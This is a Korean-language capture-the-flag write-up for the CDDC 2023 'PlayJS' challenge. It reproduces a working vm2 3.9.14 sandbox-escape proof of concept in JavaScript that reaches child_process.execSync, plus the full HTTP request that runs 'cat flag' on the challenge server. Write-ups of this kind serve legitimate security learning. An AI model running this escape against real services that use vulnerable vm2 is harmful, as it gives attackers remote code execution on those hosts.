[CDDC 2023 Quals] PlayJS

2023. 6. 14.

by. hackintoanetwork

Prob

이 문제에선 Sandbox 환경에서 자바스크립트를 실행시킬 수 있는 API 가 주어졌습니다. (소소 코드는 주어지지 않음.)

먼저,

http://challenges.web.cddc2023.com:8004/sandbox 에 curl로 GET request를 보냈고 아래와 같은 응답을 받을 수 있습니다.

{
   "name":"playjs",
   "version":"1.0.0",
   "description":"",
   "main":"src/app.js",
   "scripts":{
      "test":"echo \"Error: no test specified\" && exit 1",
      "start":"node src/app.js",
      "start:dev":"nodemon --watch src",
      "swagger-autogen":"node ./swagger.js"
   },
   "author":"",
   "license":"ISC",
   "dependencies":{
      "cors":"^2.8.5",
      "swagger-autogen":"^2.23.1",
      "swagger-ui-express":"^4.6.2",
      "vm2":"3.9.14"
   }
}

응답 값을 통해 알 수 있는 주요 정보는 사용된 'vm2' 모듈의 버전이 3.9.14라는 점입니다.

vm2 3.9.14 버전에는 Sandbox Escape 취약점이 있으며, 이 취약점을 이용해서 RCE가 가능합니다.

[VM2 Sandbox Escape] Vulnerability in vm2@3.9.14 · Issue #515 · patriksimek/vm2

Hello team, I am Seongil Wi from KAIST in South Korea. Our research team in KAIST WSP Lab found a sandbox escape bug in vm2@3.9.14. Since this is a confidential issue, we have sent an e-mail with P...

github.com

Sandbox Escape in vm2@3.9.17 - CVE-2023-32314

Sandbox Escape in vm2@3.9.17 - CVE-2023-32314. GitHub Gist: instantly share code, notes, and snippets.

gist.github.com

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("echo hacked").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code)); // -> hacked

Exploit

POST /sandbox/run HTTP/1.1
Host: challenges.web.cddc2023.com:8004
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: AWSALB=I8f94wQMOEWLloEYaV7LF3Pzz7LLiSH84uP12qm5q6l+JLofxsdpf3ARkg3IkdJRUqo9FH3PtqMO0iczsSH7afCxzBABAkQ36sCuat8c2w7jP4u0yXs0ivKndmgJ
If-None-Match: W/"c22-H8FH9nKD8DeX/nvIRrte6ZjP2a4"
Connection: close
Content-Type: application/json
Content-Length: 315

{
   "code":"const err = new Error(); err.name = { toString: new Proxy(() => '', { apply(target, thiz, args) { const process = args.constructor.constructor('return process')(); throw process.mainModule.require('child_process').execSync('cat flag').toString(); }})}; try { err.stack; } catch (stdout) { stdout; }"
}